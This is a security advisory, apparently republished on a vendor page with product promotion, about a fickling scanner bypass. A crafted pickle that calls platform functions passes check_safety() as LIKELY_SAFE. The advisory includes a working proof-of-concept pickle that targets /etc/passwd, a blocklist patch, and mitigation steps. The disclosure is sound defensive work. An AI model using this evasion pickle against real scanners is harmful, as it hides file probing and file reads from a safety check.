GHSA-5cxw-w2xg-2m8h
fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
Blast Radius
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Our assessment
We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).
It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.
target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
# -b: do not prepend filenames to output lines (brief mode)
output = subprocess.check_output(['file', '-b', target],
stderr=subprocess.DEVNULL,
env=env)
Original report
Summary
A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.
Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.
Affected versions
<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)
Non-duplication check against published Fickling GHSAs
No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.
Root cause
platformnot inUNSAFE_IMPORTSdenylist.OvertlyBadEvalsskips calls imported from stdlib modules.UnusedVariablesheuristic neutralized by making call result appear used (SETITEMSpath).
Reproduction (clean upstream)
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety
pickled = Pickled([
op.Proto.create(4),
op.ShortBinUnicode('platform'),
op.ShortBinUnicode('_syscmd_file'),
op.StackGlobal(),
op.ShortBinUnicode('/etc/passwd'),
op.TupleOne(),
op.Reduce(),
op.Memoize(),
op.EmptyDict(),
op.ShortBinUnicode('init'),
op.ShortBinUnicode('x'),
op.SetItem(),
op.Mark(),
op.ShortBinUnicode('trace'),
op.BinGet(0),
op.SetItems(),
op.Stop(),
])
results = check_safety(pickled)
print(results.severity.name, len(results.results)) # LIKELY_SAFE 0
with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
fickling.loads(pickled.dumps())
print('subprocess called?', mock_sub.called) # True
print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],)
Additional affected functions (same pattern):
platform.architecture('/etc/passwd')— calls_syscmd_fileinternallyplatform.libc_ver('/etc/passwd')— opens and reads arbitrary file contents
Minimal patch diff
--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+ "platform",
Validation after patch
- Same PoC flips to
LIKELY_OVERTLY_MALICIOUS fickling.loadsraisesUnsafeFileErrorsubprocess.check_outputis not called
Impact
- False-negative verdict:
check_safety()returnsLIKELY_SAFEwith zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - Subprocess invocation:
platform._syscmd_filecallssubprocess.check_output(['file', '-b', target])wheretargetis attacker-controlled. Thefilecommand reads file headers and returns type information, enabling file existence and type probing. - File read:
platform.libc_veropens and reads chunks of an attacker-specified file path.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fickling to 0.1.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5cxw-w2xg-2m8h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5cxw-w2xg-2m8h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5cxw-w2xg-2m8h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5cxw-w2xg-2m8h in your dependencies?
O3 detects GHSA-5cxw-w2xg-2m8h across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.